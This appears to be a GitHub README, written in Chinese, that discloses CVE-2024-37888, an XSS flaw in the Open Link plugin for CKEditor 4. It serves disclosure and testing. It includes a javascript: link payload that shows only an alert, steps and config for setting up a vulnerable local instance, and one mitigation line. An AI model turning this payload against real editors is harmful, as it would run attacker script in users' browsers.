本仓库记录了由 Anurag Mondal(7Ragnarok7)于 2024 年 5 月 21 日发现并报告的 CVE-2024-37888 的漏洞详情与利用方式。
本概念验证(POC)演示了利用我近期在 Open Link 插件中发现的 XSS 漏洞的过程,该插件启用后会直接影响所有版本的 CKEditor 4。该缺陷允许通过编辑器内精心构造的链接执行 JavaScript,而该插件未能对其进行净化处理。仅当安装了 Open Link 插件时,此缺陷才能在文本区域内被利用。Open Link 插件允许我们直接在编辑区域内打开链接。
此漏洞可通过此处提供的预配置 CKEditor 实例进行测试。
插入 Payload:
打开 CKEditor 实例并点击“Source”图标。
在文本区域中插入以下 payload:
<a href="javascript:alert('XSS Found')">XSS</a>

切换到所见即所得模式:

触发 XSS:

你可以按照以下步骤搭建自己的本地实例来测试此漏洞。
下载 CKEditor 4:

安装 Open Link 插件:
ckeditor/plugins/openlink 目录。
更新配置以包含 OpenLink 插件:
config.js 文件,在末尾追加以下行:config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js:CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
在 HTML 中包含 CKEditor:
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>

该漏洞是在 Open Link 插件的代码库中发现的,而非 CKEditor 4 代码库。上述 POC 演示了通过 CKEditor 4.*.* 中的 Open Link 插件利用 XSS 漏洞的过程。该缺陷允许通过特制的链接执行任意 JavaScript,构成严重的安全风险。
config.disallowedContent = 'a[onclick]';